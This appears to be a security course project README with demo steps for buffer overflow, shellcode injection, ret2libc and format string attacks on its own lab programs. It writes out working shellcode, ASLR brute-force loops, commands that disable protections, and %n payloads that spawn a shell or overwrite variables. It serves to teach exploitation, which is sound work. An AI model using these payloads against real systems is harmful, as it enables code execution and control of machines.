Steps and Findings

Instructions for Demo

1. Buffer overflow attack - Authentication Bypass by Overwriting Variables:
    - Compile the program using “gcc eg1.c -o eg1”
    - Run as ./eg1
    - Give strings of size greater than and less than 4 characters as input and see the output
2. Buffer overflow attack - Authentication Bypass by Overwriting *eip*:
    - Compile the program using “gcc -fno-stack-protector eg2.c -o eg2”
    - Run as ./eg2
3. Shell Code injection with ASLR turned on
    - Compile vuln.c using the command “gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack”
    - Turn on ASLR by “echo "2" | dd of=/proc/sys/kernel/randomize_va_space”
    - Export an environmental variable by
        - export SHELLCODE=$(python2 -c 'print "\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"')
    - Run “for i in {1..100}; do ./vuln $(python2 -c 'print "A"*112 + "\x11\x11\x88\xff"'); done” to get result

Note in the last part running the for loop , the part “\x11\x11\x88\xff” is an address from the middle of the address space. If this doesn’t work , try changing it with another random one

4. Shellcode injection without ASLR
    - Compile exec.c using `gcc -m32 -o exec -z execstack -fno-stack-protector exec.c -mpreferred-stack-boundary=2 -g`
    - Turn off ASLR by `echo "0" | dd of=/proc/sys/kernel/randomize_va_space`
    - The payload.py file contains varioius details about the attack vector.
    - Find the location of the buffer using `fixenv gdb ./exec` and put its value in payload.py. (Note: fixenv is an external software used to create a regular environment with and without gdb)
    - Finally get shell using **(py payload.py; cat -) | fixenv ./exec**

5. Ret2libc attack
    - Compile using `gcc -m32 -o retlibc -fno-stack-protector retlibc.c -g`
    - Run the file in gdb using `gdb ./retlibc`. Use the `start` command in gdb to start execution. Now find the location of the `system` and `exit` function. Put this at appropriate place in payload.py
    - Now use `proc info map` in gdb to get the starting address of the shared libc library.

- Use `**strings -a -t x /lib32/libc-2.24.so | grep /bin/sh**` on the terminal to find the offset of “/bin/sh” string inside the libc library.(Note: /lib32/libc-2.24.so is the shared library address I found in the previous step)
- Add this offset to the starting address and place it at appropriate position in payload.py
- Use `**(py payload.py; cat -) | ./retlibc**` to get shell.

6. Format string vulnerability :
   - Compile using `gcc -m32 -fno-stack-protector -o bp`
   - Execute using `./bp $(printf "\x34\xa0\x04\x08")%x%x%x%n`
   - Note that "\x34\xa0\x04\x08" represents the address of test_val variable when loaded by my architecture. This is architecture dependent and has to be changed accordingly. Might not work without change.
   - Second demo : `gcc -m32 -fno-stack-protector -o cp`
   - Execute : `./cp $(perl -e 'print "%d....."x8')`
   - Note that the position on the stack where pass_code local variable resides is architecture dependent and has to be changed accordingly. Might not work without change.

Findings and Future work

- Through the project and presentation we found out about how attacks on Memory Cache using Javascript can be used to bypass ASLR. Caches are for fast access hence randomizing them is not feasible. Thus ASLR and Memory Caches are built on different foundations.
- Format string vulnerability originates from the programmer - All of the common format string vulnerable functions, such as printf , should be checked to ensure that they are being used in a safe manner.